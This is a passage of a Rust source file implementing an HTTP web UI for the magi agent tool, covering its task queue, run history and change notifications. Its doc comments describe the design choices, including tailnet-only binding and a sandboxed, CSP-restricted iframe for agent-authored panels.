Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
119pub const DEFAULT_PORT: u16 = 7878;
120
121/// How often the change stream restats the queue and the runs directory.
122const POLL: Duration = Duration::from_secs(1);
123
124/// Keep-alive interval for the change stream. Phones and intermediaries drop
125/// an idle connection within a minute; a comment every fifteen seconds keeps
126/// the stream alive without waking the radio often enough to matter.
127const KEEPALIVE: Duration = Duration::from_secs(15);
128
129/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
130///
131/// A fixed period this long would not track a `[update] interval` shorter
132/// than itself: an operator who set `interval = "1m"` to make the deck
133/// notice a release within a minute would still wait up to fifteen of them
134/// for the next wake-up to even ask [`updater::Checker::should_check`].
135/// [`recheck_poll_period`] scales the sleep with the configured interval
136/// instead, and this is only its ceiling - reached at the default interval
137/// of a day, where waking any more often would just spend cycles asking a
138/// question that stays "no" for hours.
139const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141/// Floor on the same, so a very short `[update] interval` cannot spin
142/// [`run_update_recheck`] in a near-busy loop.
143const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145/// Runs returned when the client does not ask, and the ceiling if it asks for
146/// more. The cap exists because the list handler parses every `run.json` it
147/// returns, and a phone cannot render two thousand rows anyway.
148const LIST_DEFAULT: usize = 50;
149/// Upper bound for `?limit=`.
150const LIST_MAX: usize = 500;
151
152/// Width of a generated task title, matching what the CLI uses.
153const TITLE_MAX: usize = 72;
154
155/// Per-file cap for an attachment upload.
156///
157/// Enforced twice: axum's own body limit is raised one byte above this, only
158/// on the two attachment `POST` routes (see the router - every other route
159/// keeps the crate-wide default), so an oversize body is still read far
160/// enough to answer with our own message below rather than axum's generic
161/// one; this constant is what that message and the boundary check actually
162/// compare against.
163const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165/// The image types an attachment upload accepts - a closed whitelist, the
166/// same posture [`asset_content_type`] takes for panel assets and for the
167/// same reason: SVG is excluded on purpose because it is active content
168/// (it may carry `<script>`) and not merely a picture, so it never appears
169/// here even though `image/svg+xml` is a real IANA type.
170const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172/// Header carrying the operator's own filename. Free text, stored only for
173/// display - see [`talk::Attachment::name`]'s doc on why it never
174/// contributes to a path.
175const FILENAME_HEADER: &str = "x-filename";
176
177/// The header that makes serving agent-authored HTML defensible, sent by both
178/// panel routes and asserted verbatim by a test.
179///
180/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
181/// denies every fetch destination that is not re-allowed below, which is all of
182/// them except images and fonts; `img-src 'self' data:` means an image comes
183/// from magi's own asset route or from the document itself, so a panel cannot
184/// signal an outside server by pointing an `<img>` at it - the classic
185/// exfiltration channel for markup that cannot run script. `style-src
186/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
187/// free formatting means here and a style sheet cannot make a request that
188/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
189/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
190/// stops a form posting the owner's decision to a third party, and
191/// `frame-ancestors 'self'` stops another site framing the panel to phish with
192/// it.
193///
194/// There is deliberately no `script-src`: `default-src 'none'` already covers
195/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
196/// denied twice over. Weakening any directive here is the difference between a
197/// panel the owner reads and a page that can talk to the tailnet, which is why
198/// the test compares the whole string rather than looking for a substring.
199const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200                         font-src data:; base-uri 'none'; form-action 'none'; \
201                         frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207/// Which address to listen on.
208#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210    /// Ask Tailscale, and fall back to loopback with a warning.
211    Auto,
212    /// An address the operator named.
213    Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217    type Err = String;
218
219    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
220    /// the CLI can take `--bind` straight into it: the one spelling of
221    /// `auto` that matters is the one this function knows.
222    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223        if s.eq_ignore_ascii_case("auto") {
224            return Ok(Self::Auto);
225        }
226        s.parse()
227            .map(Self::Addr)
228            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229    }
230}
231
232impl std::fmt::Display for Bind {
233    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234        match self {
235            Self::Auto => f.write_str("auto"),
236            Self::Addr(addr) => write!(f, "{addr}"),
237        }
238    }
239}
240
241/// How to serve.
242#[derive(Debug, Clone)]
243pub struct Opts {
244    /// Address to listen on.
245    pub bind: Bind,
246    /// Port to listen on.
247    pub port: u16,
248    /// Repository used for tasks posted without one.
249    pub repo: PathBuf,
250    /// Print the URL on its own line for a caller that wants to hand it to a
251    /// browser. magi never launches one itself.
252    pub open: bool,
253    /// Merge mode override for the independent scheduler (`none`, `local`,
254    /// `pr`); `None` leaves it to each repository's own config.
255    ///
256    /// The same override as `magi serve --merge`, passed when the phone starts
257    /// dispatch without requiring a terminal.
258    pub merge: Option<String>,
259}
260
261impl Default for Opts {
262    fn default() -> Self {
263        Self {
264            bind: Bind::Auto,
265            port: DEFAULT_PORT,
266            repo: PathBuf::from("."),
267            open: false,
268            merge: None,
269        }
270    }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277/// Metadata only: no task instructions or conversation bodies are read here.
278fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279    try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283    try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287    use std::hash::{Hash as _, Hasher as _};
288    let entries = match std::fs::read_dir(root) {
289        Ok(entries) => entries,
290        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291        Err(e) => return Err(e),
292    };
293    let mut stamps = HashMap::new();
294    for entry in entries {
295        let entry = entry?;
296        let path = if runs {
297            entry.path().join("run.json")
298        } else {
299            entry.path()
300        };
301        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302            continue;
303        }
304        let identity = match file_identity(&path) {
305            Ok(identity) => identity,
306            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307            Err(e) => return Err(e),
308        };
309        let modified = identity
310            .modified
311            .duration_since(std::time::UNIX_EPOCH)
312            .unwrap_or_default();
313        let mut hasher = std::hash::DefaultHasher::new();
314        identity.hash(&mut hasher);
315        let id = if runs || all_entries {
316            entry.file_name().to_string_lossy().into_owned()
317        } else {
318            path.file_stem()
319                .unwrap_or_default()
320                .to_string_lossy()
321                .into_owned()
322        };
323        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324    }
325    Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330    base: u64,
331    changed: Vec<String>,
332    removed: Vec<String>,
333}
334
335fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
336    let mut changed: Vec<_> = next
337        .iter()
338        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
339        .map(|(id, _)| id.clone())
340        .collect();
341    let mut removed: Vec<_> = previous
342        .keys()
343        .filter(|id| !next.contains_key(*id))
344        .cloned()
345        .collect();
346    changed.sort_unstable();
347    removed.sort_unstable();
348    Delta {
349        base,
350        changed,
351        removed,
352    }
353}
354
355/// Change detection token for recorded runs under `runs`.
356#[cfg(test)]
357fn runs_revision(runs: &FsPath) -> u64 {
358    stamps_revision(&store_stamps(runs, true))
359}
360
361/// Opaque tokens use the exact metadata snapshot behind the delta, in both
362/// health and SSE. Nanoseconds and length also detect same-millisecond writes
363/// and deleting an older conversation (a newest-mtime token cannot do that).
364fn stamps_revision(stamps: &Stamps) -> u64 {
365    use std::hash::{Hash as _, Hasher as _};
366    if stamps.is_empty() {
367        return 0;
368    }
369    let mut entries: Vec<_> = stamps.iter().collect();
370    entries.sort_unstable();
371    let mut hasher = std::hash::DefaultHasher::new();
372    entries.hash(&mut hasher);
373    hasher.finish().max(1)
374}
375
376#[derive(Clone, Debug)]
377pub(crate) struct ChangeNotification {
378    pub payload: serde_json::Value,
379}
380
381#[derive(Default, Debug)]
382pub(crate) struct QueueIndex {
383    // Retain parsed records only while their file identity is unchanged.
384    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
385    #[cfg(test)]
386    reparsed: usize,
387}
388
389#[derive(Clone, Debug)]
390struct TaskRelation {
391    id: String,
392    status: Option<crate::queue::TaskStatus>,
393    priority: i32,
394    runs: Vec<String>,
395    source: Source,
396    chat: Option<String>,
397}
398
399impl From<Task> for TaskRelation {
400    fn from(task: Task) -> Self {
401        Self {
402            id: task.id,
403            status: Some(task.status),
404            priority: task.priority,
405            runs: task.runs,
406            source: task.source,
407            chat: task.chat,
408        }
409    }
410}
411
412#[derive(Debug, PartialEq, Eq, Hash)]
413struct FileIdentity {
414    modified: std::time::SystemTime,
415    len: u64,
416    #[cfg(unix)]
417    identity: (u64, u64, i64, i64),
418}
419
420fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
421    let meta = path.metadata()?;
422    Ok(FileIdentity {
423        modified: meta.modified()?,
424        len: meta.len(),
425        #[cfg(unix)]
426        identity: {
427            use std::os::unix::fs::MetadataExt as _;
428            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
429        },
430    })
431}
432
433type Revisions = (u64, u64, u64, u64, u64, u64);
434type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
435
436#[derive(Debug)]
437pub(crate) struct SharedMonitor {
438    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
439    pub latest: Arc<Mutex<MonitorSnapshot>>,
440    pub worker_started: std::sync::atomic::AtomicBool,
441    pub queue_index: Arc<Mutex<QueueIndex>>,
442    list_walks: Mutex<Vec<ListWalk>>,
443    disk: Arc<Mutex<DiskObservation>>,
444    health_index: Mutex<HealthIndex>,
445    disk_cache: Mutex<DiskCache>,
446    talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
447    bulk_slots: Arc<tokio::sync::Semaphore>,
448    talk_core_slots: Arc<tokio::sync::Semaphore>,
449    #[cfg(test)]
450    talk_parses: std::sync::atomic::AtomicUsize,
451}
452
453/// Request-time indexes retain projections, never transcripts or whole runs.
454#[derive(Debug, Default)]
455struct HealthIndex {
456    runs: HashMap<String, (FileIdentity, bool)>,
457    questions: Option<QuestionCounts>,
458    notices: Option<(u64, usize)>,
459    #[cfg(test)]
460    run_parses: usize,
461}
462
463/// Live stamps invalidate counts immediately; the TTL also refreshes lease state.
464const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
465
466#[derive(Debug)]
467struct QuestionCounts {
468    revision: u64,
469    measured: std::time::Instant,
470    open: usize,
471    owner: usize,
472}
473
474#[derive(Debug, Clone)]
475struct DiskSizes {
476    runs: u64,
477    worktrees: u64,
478    cache: Option<u64>,
479}
480
481#[derive(Debug, Default)]
482struct DiskCache {
483    measured: Option<std::time::Instant>,
484    loading: bool,
485    config: Option<Config>,
486    disk: Option<DiskSizes>,
487    update: Option<UpdateView>,
488}
489
490/// Keep a failed store's last observation without suppressing healthy stores.
491fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
492    let (mut rev, mut stamps) = previous.unwrap_or_default();
493    for (index, root, runs) in [
494        (0, ui.queue.root(), false),
495        (1, ui.runs.as_path(), true),
496        (2, ui.talks.root(), false),
497    ] {
498        if let Ok(next) = try_store_stamps(root, runs) {
499            let value = stamps_revision(&next);
500            match index {
501                0 => rev.0 = value,
502                1 => rev.1 = value,
503                _ => rev.3 = value,
504            }
505            stamps[index] = next;
506        }
507    }
508    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
509        rev.2 = stamps_revision(&next);
510    }
511    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
512        rev.4 = stamps_revision(&next);
513    }
514    rev.5 = ui.lock_loop().rev;
515    (rev, stamps)
516}
517
518impl SharedMonitor {
519    pub fn new() -> Self {
520        let (tx, _) = tokio::sync::broadcast::channel(64);
521        Self {
522            broadcaster: tx,
523            latest: Arc::default(),
524            worker_started: std::sync::atomic::AtomicBool::new(false),
525            queue_index: Arc::default(),
526            list_walks: Mutex::default(),
527            disk: Arc::default(),
528            health_index: Mutex::default(),
529            disk_cache: Mutex::default(),
530            talk_index: Mutex::default(),
531            bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
532            talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
533            #[cfg(test)]
534            talk_parses: std::sync::atomic::AtomicUsize::new(0),
535        }
536    }
537
538    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
539        let mut receiver = self.broadcaster.subscribe();
540        self.ensure_worker(ui);
541        loop {
542            if let Some((revisions, _)) = self
543                .latest
544                .lock()
545                .unwrap_or_else(PoisonError::into_inner)
546                .as_ref()
547            {
548                return Ok(*revisions);
549            }
550            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
551                .await
552                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
553                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
554        }
555    }
556
557    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
558        if self
559            .worker_started
560            .compare_exchange(
561                false,
562                true,
563                std::sync::atomic::Ordering::SeqCst,
564                std::sync::atomic::Ordering::SeqCst,
565            )
566            .is_err()
567        {
568            return;
569        }
570
571        let weak_ui = Arc::downgrade(ui);
572        tokio::spawn(async move {
573            let mut ticker = tokio::time::interval(POLL);
574            loop {
575                ticker.tick().await;
576                let Some(ui) = weak_ui.upgrade() else {
577                    break;
578                };
579
580                let previous = ui
581                    .monitor
582                    .latest
583                    .lock()
584                    .unwrap_or_else(PoisonError::into_inner)
585                    .clone();
586                let state = Arc::clone(&ui);
587                let scan =
588                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
589
590                // A slow filesystem must not turn missed ticks into a busy loop.
591                ticker.reset();
592                let Ok((revisions, next_stamps)) = scan else {
593                    continue;
594                };
595
596                let mut latest_guard = match ui.monitor.latest.lock() {
597                    Ok(g) => g,
598                    Err(p) => p.into_inner(),
599                };
600
601                let previous = latest_guard.take();
602                let (last_rev, prev_stamps) = match previous {
603                    Some((r, s)) => (Some(r), Some(s)),
604                    None => (None, None),
605                };
606
607                if last_rev == Some(revisions) {
608                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
609                    continue;
610                }
611
612                let mut payload = serde_json::json!({
613                    "queue_rev": revisions.0,
614                    "runs_rev": revisions.1,
615                    "questions_rev": revisions.2,
616                    "talks_rev": revisions.3,
617                    "notifications_rev": revisions.4,
618                    "loop_rev": revisions.5,
619                });
620
621                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
622                    for (index, (key, rev)) in [
623                        ("queue_delta", base.0),
624                        ("runs_delta", base.1),
625                        ("talks_delta", base.3),
626                    ]
627                    .into_iter()
628                    .enumerate()
629                    {
630                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
631                        if delta.changed.len() + delta.removed.len() > 0
632                            && delta.changed.len() <= 50
633                        {
634                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
635                        }
636                    }
637                }
638
639                *latest_guard = Some((revisions, next_stamps));
640                drop(latest_guard);
641
642                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
643            }
644        });
645    }
646}
647
648/// Everything the handlers touch.
649///
650/// The queue, the runs directory and the magi home are fields rather than
651/// process-global lookups so a test drives the real router against a temp
652/// directory instead of the operator's own history.
653#[derive(Debug, Clone)]
654pub struct Ui {
655    queue: Queue,
656    questions: Questions,
657    /// `<home>/notifications`, the bell's own store. Derived from `home` in
658    /// [`Ui::new`] so no constructor signature had to grow.
659    notices: Notices,
660    talks: Talks,
661    runs: PathBuf,
662    references: Arc<id_links::IndexCache>,
663    home: PathBuf,
664    repo: PathBuf,
665    /// Where the runs' worktrees live, for the health disk figures.
666    ///
667    /// Spelled independently of [`crate::run::default_worktree_root`] so the
668    /// test servers can point it at their own temp directory: the health route
669    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
670    /// be measuring the machine instead of the server.
671    worktrees_root: PathBuf,
672    /// Talks with an agent turn in flight right now.
673    ///
674    /// In-process and therefore not durable, which is correct: it guards
675    /// against two taps on one phone and two phones on one tailnet, both of
676    /// which are this process's own concurrency. A second `magi web` would not
677    /// see it, and a second `magi web` on the same home is already a
678    /// misconfiguration the queue's claims would catch first.
679    talk_turns: Arc<Mutex<TalkTurns>>,
680    /// Short persistence-to-worker-publication transactions only, never agent
681    /// execution. A handover closes admission before it releases the runtime.
682    admissions: Arc<tokio::sync::RwLock<bool>>,
683    /// Held by `POST /api/upgrade` from its busy-stage check until the first
684    /// progress record is written, so two taps cannot both start an upgrade.
685    /// After that `upgrade.json` carries the exclusion.
686    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
687    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
688    /// exclusion in memory for when `upgrade.json` could not be written.
689    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
690    /// Request failures before progress exists; never overwrite upgrade.json.
691    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
692    auto_failed_tag: Arc<Mutex<Option<String>>>,
693    upgrade_runner: UpgradeRunner,
694    /// Runs this process is resuming right now.
695    ///
696    /// Separate from `talk_turns` because a run and a talk are different
697    /// things to hold, and a resume is far more expensive to start twice: it
698    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
699    /// guards two taps and two phones, which is this process's own
700    /// concurrency.
701    resuming: Arc<Mutex<HashSet<String>>>,
702    /// The last scan of `[repos] roots`, and when it happened. Shared across
703    /// requests so polling `GET /api/repos` repeatedly does not repeat the
704    /// filesystem walk every time - see [`repos::Cache`].
705    repos_cache: repos::Cache,
706    /// The machine-config file the settings screen reads and writes: always
707    /// [`Config::machine_layer`], never anything a request names. A field so a
708    /// test can point it at its own temp directory instead of the operator's.
709    machine_config: Option<PathBuf>,
710    /// Merge mode override handed to the loop this process starts.
711    merge: Option<String>,
712    /// Local request revision and errors; execution belongs to detached workers.
713    looping: Arc<Mutex<LoopState>>,
714    /// Isolated route-test scheduler; never compiled into production.
715    #[cfg(test)]
716    launch: Launch,
717    /// A test-only stop point inside `talk_say`'s busy branch. See
718    /// [`BusyQueueGate`].
719    #[cfg(test)]
720    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
721    pub(crate) monitor: Arc<SharedMonitor>,
722}
723
724type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
725
726/// A one-shot stop point the busy branch's queued-draft write can be made to
727/// pause at, right before [`talk::queue`] runs.
728///
729/// Exists because a test cannot otherwise pin *when*, relative to the turn
730/// slot being freed, that write happens: `blocking` runs it on
731/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
732/// already finished, so counting polls on the handler future to park it at a
733/// particular `.await` is a guess about scheduling, not a fact about it - see
734/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
735/// used to do exactly that and paid for it with an occasional "async fn
736/// resumed after completion" panic under load.
737///
738/// `reached` fires the instant the write is about to run, so a test waits for
739/// a real event instead of a poll count. `release` then blocks the write
740/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
741/// rather than an async channel because this all happens inside the
742/// `spawn_blocking` closure the write already runs on, off any runtime
743/// worker, so blocking here costs nothing the write was not already going to
744/// cost.
745#[cfg(test)]
746struct BusyQueueGate {
747    reached: tokio::sync::oneshot::Sender<()>,
748    release: std::sync::mpsc::Receiver<()>,
749}
750
751#[cfg(test)]
752impl std::fmt::Debug for BusyQueueGate {
753    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
754        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
755    }
756}
757
758impl Ui {
759    /// A server over explicit paths.
760    pub fn new(
761        queue: Queue,
762        questions: Questions,
763        talks: Talks,
764        runs: PathBuf,
765        home: PathBuf,
766        repo: PathBuf,
767    ) -> Self {
768        Self {
769            queue,
770            questions,
771            notices: Notices::at(home.join("notifications")),
772            talks,
773            runs,
774            references: Arc::default(),
775            home,
776            repo,
777            // The default location, overridden by `with_worktrees_root` - a
778            // builder step rather than a ninth parameter, for the reason
779            // `with_merge` gives.
780            worktrees_root: run::default_worktree_root(),
781            talk_turns: Arc::default(),
782            admissions: Arc::default(),
783            upgrade_gate: Arc::default(),
784            upgrade_spawned: Arc::default(),
785            upgrade_request_error: Arc::default(),
786            auto_failed_tag: Arc::default(),
787            upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
788            resuming: Arc::default(),
789            repos_cache: repos::Cache::new(),
790            machine_config: Config::machine_layer(),
791            merge: None,
792            looping: Arc::default(),
793            #[cfg(test)]
794            launch: launch_daemon,
795            #[cfg(test)]
796            busy_queue_gate: Arc::default(),
797            monitor: Arc::new(SharedMonitor::new()),
798        }
799    }
800
801    /// Refresh metadata on every lookup, including external-process writes. Only
802    /// changed records are parsed. Never publish a partial scan as an empty set.
803    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
804        let mut index = self
805            .monitor
806            .queue_index
807            .lock()
808            .unwrap_or_else(PoisonError::into_inner);
809        let entries = match std::fs::read_dir(self.queue.root()) {
810            Ok(entries) => entries,
811            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
812                index.records.clear();
813                return Ok(Vec::new());
814            }
815            Err(e) => return Err(anyhow::Error::from(e).into()),
816        };
817        let mut seen = HashSet::new();
818        for entry in entries {
819            let path = entry.map_err(anyhow::Error::from)?.path();
820            if path.extension().is_none_or(|ext| ext != "json") {
821                continue;
822            }
823            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
824                continue;
825            };
826            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
827            seen.insert(id.to_owned());
828            // On platforms without inode/ctime, re-read rather than trust a
829            // same-size replacement with a preserved modification timestamp.
830            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
831                let Ok(task) = self.queue.get(id) else {
832                    // Isolate an unreadable record, as Queue::list does. Keep
833                    // its last known relationship so a lookup of THAT task
834                    // still fails on the authoritative read below. Never let
835                    // unrelated corruption disable every run and conversation.
836                    // Counts must not present its previous status as current.
837                    if let Some((_, record)) = index.records.get_mut(id) {
838                        Arc::make_mut(record).status = None;
839                    }
840                    continue;
841                };
842                #[cfg(test)]
843                {
844                    index.reparsed += 1;
845                }
846                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
847                    return Err(ApiError::conflict("Queue changed during read; retry"));
848                }
849                index
850                    .records
851                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
852            }
853        }
854        index.records.retain(|id, _| seen.contains(id));
855        let mut tasks: Vec<_> = index
856            .records
857            .values()
858            .map(|(_, task)| task.clone())
859            .collect();
860        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
861        Ok(tasks)
862    }
863
864    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
865        let Some(record) = self
866            .indexed_tasks()?
867            .into_iter()
868            .find(|task| task.runs.iter().any(|id| id == run_id))
869        else {
870            return Ok(None);
871        };
872        let task = self.queue.get(&record.id)?;
873        if !task.runs.iter().any(|id| id == run_id) {
874            return Err(ApiError::conflict("Task relationship changed; retry"));
875        }
876        Ok(Some(task))
877    }
878
879    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
880        self.indexed_tasks()?
881            .into_iter()
882            .filter(|task| {
883                task.chat.as_deref() == Some(talk_id)
884                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
885            })
886            .map(|record| {
887                let task = self.queue.get(&record.id)?;
888                if task.chat.as_deref() != Some(talk_id)
889                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
890                {
891                    return Err(ApiError::conflict("Task relationship changed; retry"));
892                }
893                Ok(task)
894            })
895            .collect()
896    }
897
898    /// The operator's own state: `<home>/queue`, `<home>/questions`,
899    /// `<home>/talks`, `<home>/runs`.
900    pub fn open(repo: PathBuf) -> Self {
901        Self::new(
902            Queue::open(),
903            Questions::open(),
904            Talks::open(),
905            run::runs_root(),
906            run::home(),
907            repo,
908        )
909    }
910
911    /// The merge mode the loop should use, as the command line gave it.
912    ///
913    /// A builder step rather than a seventh parameter on [`Ui::new`], because
914    /// the override is a property of how this process was invoked and not of
915    /// where its state lives - which is all the tests that build a `Ui` by
916    /// hand are saying.
917    #[must_use]
918    pub fn with_merge(mut self, merge: Option<String>) -> Self {
919        self.merge = merge;
920        self
921    }
922
923    /// The machine-config file the settings screen writes, when it is not
924    /// [`Config::machine_layer`] (tests).
925    #[cfg(test)]
926    #[must_use]
